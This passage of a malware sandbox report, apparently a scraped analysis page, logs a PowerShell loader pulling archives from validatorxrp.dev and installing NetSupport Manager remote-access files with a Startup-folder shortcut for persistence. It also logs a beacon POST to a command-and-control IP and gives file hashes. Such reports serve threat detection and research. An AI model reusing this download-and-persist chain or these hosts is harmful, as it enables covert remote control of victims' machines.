"00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00002888.00000001.165813.72691000.00000020.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00002888.00000001.165813.72691000.00000020.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00002888.00000001.165813.72691000.00000020.mdmp") Found reference to API "Error. UdpFileStart GetTempFileName e=%d" (Indicator: "GetTempFileName"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp")51:T40d,Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "ok || GetLastError() == 1410" (Indicator: "GetLastError"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp")52:Ta29,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002888.00000000.163893.02DB0000.00000004.mdmp") Found URL "http://www.pci.co.uk/supportsupport@pci.co.uk" - Source: "00000000-00002888.00000000.163893.111D5000.00000004.mdmp") Found URL "http://www.netsupportschool.com/tutor-assistant.aspnsappsystem3777937778127.0.0.1.?avnsmclientlookup@@.?avnsmlookup@@.?avnsmannotatestate@@.?avipcclient32@@.?avipc@@.?avnsmclienterrorhandler@@.?avnsmerrorhandler@@assert" - Source: "00000000-00002888.00000000.163893.111D5000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002888.00000001.165813.02DB0000.00000004.mdmp") Found URL "http://www.pci.co.uk/supportsupport@pci.co.uk" - Source: "00000000-00002888.00000001.165813.111D5000.00000004.mdmp") Found URL "http://www.netsupportschool.com/tutor-assistant.aspnsappsystem3777937778127.0.0.1.?avnsmclientlookup@@.?avnsmlookup@@.?avnsmannotatestate@@.?avipcclient32@@.?avipc@@.?avnsmclienterrorhandler@@.?avnsmerrorhandler@@assert" - Source: "00000000-00002888.00000001.165813.111D5000.00000004.mdmp") Found URL "http://%s/fakeurl.htm" - Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp") Found URL "http://%s/testpage.htmwininet.dllcontent-length:http/sendernclen" - Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002888.00000002.167735.02DB0000.00000004.mdmp") Found URL "http://https://" (Indicator: "enumchildwindows"; Source: "00000000-00002888.00000000.163893.02DB0000.00000004.mdmp, 00000000-00002888.00000001.165813.02DB0000.00000004.mdmp, 00000000-00002888.00000002.167735.02DB0000.00000004.mdmp") Found reference to API "PostMessageA" (Indicator: "postmessage"; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "IPC client32login SendMessage ret %d (ipc err=%s" (Indicator: "sendmessage"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "Result of SendMessage %d" (Indicator: "sendmessage"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "Cobrowse FindWindow ret %x" (Indicator: "findwindow"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "PostMessage(%d,%d,%d) to (%s) e = %s" (Indicator: "postmessage"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "PostMessage WMCLOSE to s%d (%d) ret %d" (Indicator: "postmessage"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "FindWindowA" (Indicator: "findwindow"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "SendMessageTimeoutA" (Indicator: "sendmessage"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "FindWindowExA" (Indicator: "findwindow"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp")6c:T633,"powershell.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\customdestinations\590aee7bdd69b59b.customdestinations-ms" "powershell.exe" reads file "c:\users\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\start menu\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\start menu\programs\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\start menu\programs\windows powershell\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\desktop\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\documents\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\music\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\pictures\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\videos\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\downloads\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\onedrive\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\searches\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\contacts\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\favorites\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\links\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\saved games\desktop.ini" "powershell.exe" reads file "c:\windows\system32\windowspowershell\v1.0\powershell.exe.config" "powershell.exe" reads file "c:\windows\microsoft.net\framework64\v4.0.30319\config\machine.config"18:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$20"}}],["$","$L21",null,{"initialData":{"activity":{"behavior_tags":["new_domain","malicious"],"file_activity":{"dropped_files":[],"extracted_files":[{"name":"7z.exe","sha256":"43907e54cf3d1258f695d1112759b5457576481072cc76a679b8477cfeb3db87","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"},{"name":"HTCTL32.DLL","sha256":"6562585009f15155eea9a489e474cebc4dd2a01a26d846fdd1b93fdc24b0c269","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"},{"name":"PCICL32.DLL","sha256":"b6d4ad0231941e0637485ac5833e0fdc75db35289b54e70f3858b70d36d04c80","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"},{"name":"TCCTL32.DLL","sha256":"6ffe12cdfe0a36dec4b4a40ecdafb4097b1af7c340b0fcecf9f5c67b7fa8b299","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"},{"name":"at.7z","sha256":"18f015f359ae83835dd8562991a248166f66a1c04d093c536959d9750382c11e","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"},{"name":"pcicapi.dll","sha256":"2dfdc169dfc27462adc98dde39306de8d0526dcf4577a1a486c2eef447300689","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"},{"name":"remcmdstub.exe","sha256":"b11380f81b0a704e8c7e84e8a37885f5879d12fbece311813a41992b3e9787f2","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"},{"name":"NSM.ini","sha256":"e0ed36c897eaa5352fab181c20020b60df4c58986193d6aaf5bf3e3ecdc4c05d","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"},{"name":"7z.dll","sha256":"b17c3e4058aacdcc36b18858d128d6b3058e0ea607a4dc59eb95b18b7c6acc7c","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"},{"name":"AudioCapture.dll","sha256":"2cc8ebea55c06981625397b04575ed0eaad9bb9f9dc896355c011a62febe49b5","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"},{"name":"neservice.exe","sha256":"56ebaf8922749b9a9a7fa2575f691c53a6170662a8f747faeed11291d475c422","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"},{"name":"nskbfltr.inf","sha256":"d96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"},{"name":"5B18SBUM9VWE1WPZTZMP.temp","sha256":"d905f5acefc9588783b8b99c78a3b6d8853e20797e3fa75a795f1912778aca7f","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"},{"name":"neservice.lnk","sha256":"4c45663f05b49b70af2bc404ea8f459ec5a576b887afdee14f471eafe1ee6be2","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"},{"name":"PCICHEK.DLL","sha256":"0cff893b1e7716d09fb74b7a0313b78a09f3f48c586d31fc5f830bd72ce8331f","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"},{"name":"NSM.LIC","sha256":"e09980d1b1c508eb29d2931ac92f8d0a7e49ca5fe6ab6277fabf097a0b033b63","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"},{"name":"client32.ini","sha256":"da9fafbc61e56af388fd27dc004dd87274c651c9b073342df9e510b8c42759a3","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"},{"name":"lnk.7z","sha256":"5d821db386c7c879caeabf3e9f94c94a48eec6ec5a3a0efbae9d69da3f52c1db","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"verdict":"undetected"}],"files_deleted":[],"files_written":[{"path":"%LOCALAPPDATA%\\Nfservice\\lnk.7z","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\ns\\AudioCapture.dll","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\ns\\PCICL32.DLL","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\msvcr100.dll","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\neservice.lnk","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF267e3f.TMP","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\at.7z","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\ns\\client32.ini","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\HTCTL32.DLL","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\NSM.ini","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\ns\\HTCTL32.DLL","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\AudioCapture.dll","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"PIPE\\srvsvc","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\client32.ini","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\nskbfltr.inf","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\ns\\pcicapi.dll","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"\\Global??\\FltMgrMsg","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_zduujwhy.juo.psm1","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"C:\\ns","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\ns\\nskbfltr.inf","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\ns\\nsm_vpro.ini","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\ns\\msvcr100.dll","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\ns\\remcmdstub.exe","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\NSM.LIC","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\nsm_vpro.ini","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\ns\\PCICHEK.DLL","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\PCICL32.DLL","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\remcmdstub.exe","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\7z.exe","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\7z.dll","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\ns\\NSM.ini","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\ns\\NSM.LIC","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_w2dbsgcb.yzg.ps1","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\ns\\neservice.exe","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\ns\\TCCTL32.DLL","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\neservice.exe","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\pcicapi.dll","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\PCICHEK.DLL","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%LOCALAPPDATA%\\Nfservice\\TCCTL32.DLL","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\5B18SBUM9VWE1WPZTZMP.temp","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2888:168:WilStaging_02","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4744:120:WilError_01","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"name":"Local\\SM0:4744:120:WilError_01","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"name":"Local\\SM0:4744:304:WilStaging_02","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"name":"SM0:4744:120:WilError_01","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2888:64:WilError_01","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"name":"SM0:2888:64:WilError_01","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4744:304:WilStaging_02","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"name":"Local\\SM0:2888:168:WilStaging_02","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4744:304:WilStaging_02","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"name":"Global\\RasPbFile","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4744:120:WilError_01","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"name":"SM0:4744:304:WilStaging_02","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]}]},"network_activity":{"contacted_hosts":[{"address":"87.120.93.69","country":"Germany","port":80,"protocol":"TCP","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"address":"87.120.93.69","country":"Germany","port":443,"protocol":"TCP","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"address":"87.120.93.67","country":"Germany","port":443,"protocol":"TCP","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]}],"dns_resolutions":[{"address":"87.120.93.69","country":"Germany","domain":"jakkakaskakasj.com","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"ttl":300},{"address":"87.120.93.67","country":"Germany","domain":"jasjdpoekkqwda.com","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"ttl":300},{"address":"87.120.93.69","country":"Germany","domain":"validatorxrp.dev","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"ttl":300}],"http_requests":[{"header":"GET /at.7z HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: validatorxrp.dev\nConnection: Keep-Alive","host":"validatorxrp.dev","host_ip":"87.120.93.69:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"url":"/at.7z"},{"header":"GET /lnk.7z HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: validatorxrp.dev","host":"validatorxrp.dev","host_ip":"87.120.93.69:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"url":"/lnk.7z"},{"header":"GET /7z.exe HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: validatorxrp.dev","host":"validatorxrp.dev","host_ip":"87.120.93.69:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"url":"/7z.exe"},{"header":"GET /7z.dll HTTP/1.1\nUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248\nHost: validatorxrp.dev","host":"validatorxrp.dev","host_ip":"87.120.93.69:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"url":"/7z.dll"},{"header":"POST http://87.120.93.67/fakeurl.htm HTTP/1.1\nUser-Agent: NetSupport Manager/1.3\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 22\nHost: 87.120.93.67\nConnection: Keep-Alive","host":"87.120.93.67","host_ip":"87.120.93.67:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}],"url":"http://87.120.93.67/fakeurl.htm"}]},"process_activity":{"all_imported_dlls":["apphelp.dll","wow64win.dll","OnDemandConnRouteHelper.dll","imagehlp.dll","dnsapi.dll","policymanager.dll","slc.dll","riched32.dll","rasapi32.dll","vcruntime140_clr0400.dll","oleaut32.dll","System.DirectoryServices.ni.dll","cfgmgr32.dll","BCP47Langs.dll","aepic.dll","crypt32.dll","wininet.dll","pnrpnsp.dll","dwmapi.dll","System.ni.dll","amsi.dll","ntdll.dll","msvcp110_win.dll","linkinfo.dll","sppc.dll","samcli.dll","gdi32.dll","riched20.dll","profapi.dll","System.Numerics.ni.dll","FirewallAPI.dll","System.Data.ni.dll","7z.dll","gpapi.dll","fwbase.dll","cldapi.dll","PCICHEK.DLL","SHCore.dll","propsys.dll","pcicapi.dll","shell32.dll","kernel.appcore.dll","KernelBase.dll","kernel32.dll","winnsi.dll","rasadhlp.dll","msIso.dll","PCICL32.DLL","atl.dll","win32u.dll","Microsoft.PowerShell.Commands.Management.ni.dll","fwpolicyiomgr.dll","cscapi.dll","ntshrui.dll","ole32.dll","System.Transactions.ni.dll","FWPUCLNT.DLL","MpClient.dll","dhcpcsvc.dll","clrjit.dll","mscoreei.dll","ucrtbase_clr0400.dll","fltLib.dll","wtsapi32.dll","VxSSL32.dll","clbcatq.dll","sechost.dll","MpOAV.dll","AppResolver.dll","msctf.dll","ucrtbase.dll","nlaapi.dll","IPHLPAPI.DLL","winhttp.dll","msvcr100.dll","shlwapi.dll","userenv.dll","dbgcore.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","uxtheme.dll","clr.dll","mscorlib.ni.dll","dhcpcsvc6.dll","gdi32full.dll","rpcrt4.dll","usp10.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","devobj.dll","setupapi.dll","HTCTL32.DLL","W3U31dih.dll","winsta.dll","srvcli.dll","mscoree.dll","wldp.dll","System.Data.dll","System.Core.ni.dll","System.Management.Automation.ni.dll","netapi32.dll","System.Transactions.dll","NapiNSP.dll","Microsoft.Management.Infrastructure.ni.dll","winrnr.dll","advapi32.dll","ELSCore.dll","mswsock.dll","msvcp_win.dll","msasn1.dll","wsock32.dll","netutils.dll","rsaenh.dll","iertutil.dll","mpr.dll","VxSSL64.dll","combase.dll","shfolder.dll","System.Management.ni.dll","user32.dll","urlmon.dll","ntmarta.dll","powrprof.dll","psapi.dll","secur32.dll","winmm.dll","version.dll","msvcrt.dll","wow64.dll","cryptbase.dll","wintrust.dll","ws2_32.dll","Windows.StateRepositoryPS.dll","System.Xml.ni.dll","Microsoft.PowerShell.Security.ni.dll","System.Configuration.Install.ni.dll","windows.storage.dll","rtutils.dll","dbghelp.dll","rasman.dll","sspicli.dll","imm32.dll","bcrypt.dll","nsi.dll","comctl32.dll","System.Configuration.ni.dll","bcryptprimitives.dll","cryptsp.dll","winmmbase.dll","wow64cpu.dll","edputil.dll","msls31.dll","comdlg32.dll"],"processes":[{"command_line":"-f \"C:\\48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin.ps1\"","icon":"$22","name":"powershell.exe","normalized_path":"%WINDIR%\\system32\\WindowsPowerShell\\v1.0\\powershell.exe","pid":4744,"ppid":0,"sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","uid":"00000000-00004744"},{"command_line":"x at.7z -pppp -aoa 